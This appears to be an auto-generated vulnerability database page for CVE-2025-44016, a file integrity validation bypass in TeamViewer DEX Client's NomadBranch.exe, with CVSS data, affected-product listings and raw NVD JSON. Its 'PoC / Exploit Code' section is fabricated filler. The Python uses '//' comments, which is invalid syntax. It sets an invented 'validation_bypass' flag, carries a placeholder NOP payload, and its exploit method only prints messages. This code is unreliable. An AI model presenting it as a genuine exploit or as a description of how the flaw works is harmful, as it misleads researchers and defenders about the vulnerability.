Security Vulnerability Report
中文
CVE-2025-44016 CVSS 8.8 HIGH

CVE-2025-44016

Published: 2025-12-11 12:16:25
Last Modified: 2026-01-14 19:57:03

Description

A vulnerability in TeamViewer DEX Client (former 1E client) - Content Distribution Service (NomadBranch.exe) prior version 25.11 for Windows allows malicious actors to bypass file integrity validation via a crafted request. By providing a valid hash for a malicious file, an attacker can cause the service to incorrectly validate and process the file as trusted, enabling arbitrary code execution under the Nomad Branch service context.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
TeamViewer DEX Client (NomadBranch.exe) < 25.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-44016 PoC - File Integrity Validation Bypass // This PoC demonstrates the vulnerability in TeamViewer DEX Client // Note: This is for educational purposes only import struct import hashlib class CVE_2025_44016_PoC: def __init__(self): self.target_service = "NomadBranch.exe" self.malicious_payload = b"\x90" * 256 # Placeholder payload def generate_valid_hash(self, payload): """Generate a valid hash for the malicious file""" return hashlib.sha256(payload).hexdigest() def craft_malicious_request(self): """Craft a request that bypasses file validation""" payload = self.malicious_payload valid_hash = self.generate_valid_hash(payload) # Malicious request structure request = { "file_content": payload, "file_hash": valid_hash, "validation_bypass": True, "target_service": self.target_service } return request def exploit(self, target_ip): """Execute the exploit""" request = self.craft_malicious_request() # Send crafted request to target # The service will incorrectly validate the malicious file print(f"[*] Sending crafted request to {target_ip}") print(f"[*] File hash: {request['file_hash']}") print(f"[*] Validation bypass: {request['validation_bypass']}") return True if __name__ == "__main__": poc = CVE_2025_44016_PoC() poc.exploit("target_ip")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-44016", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:25.137", "lastModified": "2026-01-14T19:57:03.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in TeamViewer DEX Client (former 1E client) - Content Distribution Service (NomadBranch.exe) prior version 25.11 for Windows allows malicious actors to bypass file integrity validation via a crafted request. By providing a valid hash for a malicious file, an attacker can cause the service to incorrectly validate and process the file as trusted, enabling arbitrary code execution under the Nomad Branch service context."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.11", "matchCriteriaId": "8611FFE2-869F-435C-8FC2-8522C656D4EA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1005/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}